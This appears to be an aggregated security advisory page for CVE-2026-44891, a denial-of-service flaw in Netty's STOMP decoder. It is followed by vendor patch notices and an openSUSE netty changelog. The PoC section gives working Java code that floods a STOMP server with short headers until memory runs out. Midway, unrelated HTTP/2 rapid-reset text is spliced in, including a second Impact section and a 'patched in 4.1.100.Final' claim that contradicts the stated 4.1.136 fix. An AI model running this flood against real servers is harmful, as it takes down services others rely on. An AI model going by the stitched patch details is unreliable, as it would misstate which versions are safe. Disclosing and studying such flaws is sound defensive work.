CVE-2026-44891

Netty is a network application framework for development of protocol servers and clients. Prior to 4.1.136.Final and 4.2.16.Final, io.netty.handler.codec.stomp.StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, and the maxLineLength parameter only restricts individual header lines. An attacker can send a large number of short headers that are accumulated in memory inside DefaultStompHeadersSubframe until the JVM throws an OutOfMemoryError, causing denial of service for servers exposing a STOMP endpoint based on StompSubframeDecoder. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.

Summary

The StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, allowing an attacker to cause an OutOfMemoryError, leading to a Denial of Service.

Details

io.netty.handler.codec.stomp.StompSubframeDecoder implements the STOMP protocol. The maxLineLength parameter restricts the length of individual header lines, but there is no mechanism to limit the total number of headers in a single STOMP frame. An attacker can send a large number of short headers (e.g., a: 1\n), which are accumulated in memory inside the DefaultStompHeadersSubframe until the JVM throws an OutOfMemoryError.

PoC

Run the server with -Xmx256m

public final class ServerApp {
    public static void main(String[] args) throws Exception {
        EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            ChannelFuture serverFuture = new ServerBootstrap()
                    .group(group)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new StompSubframeDecoder())
                    .bind(8080)
                    .sync();
            serverFuture.channel().closeFuture().sync();
        } finally {
            group.shutdownGracefully();
        }
    }
}

public final class ClientApp {
    public static void main(String[] args) throws Exception {
        try (Socket socket = new Socket("127.0.0.1", 8080)) {
            OutputStream out = socket.getOutputStream();

            out.write("CONNECT\n".getBytes(StandardCharsets.UTF_8));

            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < 1000; i++) {
                sb.append("a:1\n");
            }
            byte[] bulkHeaders = sb.toString().getBytes(StandardCharsets.UTF_8);

            for (int i = 1; i <= 50_000; i++) {
                out.write(bulkHeaders);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Impact

Denial of Service: An attacker can easily exhaust the server's memory by sending a single malicious STOMP message. Any server exposing a STOMP endpoint based on StompSubframeDecoder is vulnerable to DoS.

A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack.

Impact

This is a DDOS attack, any http2 server is affected and so you should update as soon as possible.

Patches

This is patched in version 4.1.100.Final.

Workarounds

A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own Http2FrameListener implementation or an ChannelInboundHandler implementation (depending which http2 API is used).

References

• https://www.cve.org/CVERecord?id=CVE-2023-44487
• https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/
• https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/

Red Hat Lightwell has released io.netty:netty-codec-stomp 4.1.100.Final-rhlw-00001 with backported fixes for CVE-2026-44891 and CVE-2026-59920.

CVE-2026-44891: Netty: Denial of Service via Unbounded Headers in StompSubframeDecoder

CVE-2026-59920: Netty: STOMP CONNECT Frame Header Injection

This patched artifact is a drop-in replacement for io.netty:netty-codec-stomp 4.1.100.Final from Maven Central.

Root has patched GHSA-xpw8-rcwv-8f8p in the io.root.io.netty:netty-codec-http2 package for Root:Maven. Multiple fixed versions available.

Netty is a network application framework for development of protocol servers and clients. Prior to 4.1.136.Final and 4.2.16.Final, io.netty.handler.codec.stomp.StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, and the maxLineLength parameter only restricts individual header lines. An attacker can send a large number of short headers that are accumulated in memory inside DefaultStompHeadersSubframe until the JVM throws an OutOfMemoryError, causing denial of service for servers exposing a STOMP endpoint based on StompSubframeDecoder. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.

TuxCare rebuilt 47 io.netty packages to address 23 CVEs. Fixed in 4.1.135.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 23 CVEs. Fixed in 4.1.130.Final-tuxcare.3.

TuxCare rebuilt 47 io.netty packages to address 59 CVEs. Fixed in 4.1.122.Final-tuxcare.2.

TuxCare rebuilt 47 io.netty packages to address 60 CVEs. Fixed in 4.1.119.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 41 CVEs. Fixed in 4.1.112.Final-tuxcare.6.

TuxCare rebuilt 47 io.netty packages to address 62 CVEs. Fixed in 4.1.111.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 48 CVEs. Fixed in 4.1.117.Final-tuxcare.3.

TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.108.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.107.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 62 CVEs. Fixed in 4.1.94.Final-tuxcare.1.

TuxCare rebuilt 46 io.netty packages to address 22 CVEs. Fixed in 4.1.79.Final-tuxcare.4.

These are all security issues fixed in the netty-4.1.136-1.1 package on the GA media of openSUSE Tumbleweed.

This update for netty, netty-tcnative fixes the following issues:

Upgrade netty to upstream version 4.1.136 and netty-tcnative to version 2.0.80 Final.

Security issues fixed

• CVE-2026-44891: memory exhaustion in io.netty:netty-codec-stomp (bsc#1271435).
• CVE-2026-55831: resource exhaustion/DoS in io.netty:netty-codec-http (bsc#1271960).
• CVE-2026-55833: zip bomb in io.netty:netty-codec-http (bsc#1271961).
• CVE-2026-55851: memory exhaustion in io.netty:netty-codec-haproxy (bsc#1272253).
• CVE-2026-56745: memory exhaustion in io.netty:netty-codec-http (bsc#1272254).
• CVE-2026-56746: improper access control in io.netty:netty-codec-http (CORS) (bsc#1272255).
• CVE-2026-56817: insecure defaults in XML parsing in io.netty:netty-codec-xml (bsc#1272257).
• CVE-2026-56818: memory leak in io.netty:netty-codec-redis (bsc#1272603).
• CVE-2026-56819: memory leak in io.netty:netty-codec-http2 (bsc#1272258).
• CVE-2026-56820: improper certificate validation in io.netty:netty-handler-ssl-ocsp (bsc#1272259).
• CVE-2026-56821: improper certificate revocation check in io.netty:netty-handler-ssl-ocsp (bsc#1272299).
• CVE-2026-56822: time-of-check/time-of-use in io.netty:netty-handler-ssl-ocsp (bsc#1272300).
• CVE-2026-59898: protocol version confusion in io.netty:netty-codec-http (websocket) (bsc#1272302).
• CVE-2026-59899: memory exhaustion in io.netty:netty-codec-http (bsc#1272301).
• CVE-2026-59900: improper header neutralization in io.netty:netty-codec-http2 (bsc#1272303).
• CVE-2026-59901: infinite loop in io.netty:netty-codec-compression (bzip2) (bsc#1272304).
• CVE-2026-59919: improper CR/LF neutralization in io.netty:netty-codec-haproxy (bsc#1272305).
• CVE-2026-59920: improper CR/LF neutrolization in io.netty:netty-codec-stomp (bsc#1272306).
• CVE-2026-59921: improper CR/LF neutralization in io.netty:netty-codec-http (multipart) (bsc#1272307).
• Memory leak in io.netty:netty-codec-dns (bsc#1272519).
• Uncontrolled resource consumption in io.netty:netty-codec-xml (bsc#1272518).

Other updates and bugfixes:

• Upgrade to upstream version 4.1.136:
  • SingleThreadEventExecutor: document Throwable safety contract on run()
  • Make HTTP/2 frame hashCode consistent with equals
  • Add BlockHound exception for DnsQueryIdSpace (#16896)
  • FlowControlHandler: Fix autoRead behavior
  • Fix incorrect bounds in error message of HpackDecoder.setMaxHeaderListSize
  • MQTT: Fix MQTT decoder size check after variable header replay
  • MQTT: Make the decodeProperties early-REPLAY check actually fire
  • Reject control characters at the boundary of HTTP method names (#16723)
  • Update to latest tcnative release
  • Fix HTTP 2 PUSH_PROMISE stream association validation
  • Fix GZIP FEXTRA extra-field handling in JdkZlibDecoder
  • Add opt-in validation of mandatory pseudo-header fields for HTTP/2
  • Strictly validate MQTT UTF-8 Encoded String (#16939)
  • Stop DateFormatter trailing token from running past the parse end
  • IpFilter: Deprecate constructor which use accept by default
  • Add RFC 10008 QUERY Method support (#16966)
  • Correctly release and fail queued traffic-shaping writes on close (#16959)
  • FlowControlHandler: respect auto-read when toggled while dequeueing
  • IdleStateHandler: reset firstWriter/ReaderIdleEvent in resetWriteTimeout/resetReadTimeout (#16982)
  • Fix typo in AbstractSniHandler Javadoc
  • Reconcile AbstractCoalescingBufferQueue readableBytes when it drains, and fail stuck HTTP/2 streams instead of spinning empty DATA frames
  • Reject control characters at the boundary of the HTTP version token (#16971)
  • Reset UTF-8 decode state on CR in StompSubframeDecoder
  • HTTP2: Pass the correct number of arguments when logging goaway
  • FastLz: Guard decompression against truncated input (#17000)
  • Fix propagation of startTls for client SslContext handler
  • Reject non-token characters in HTTP/2 header names +…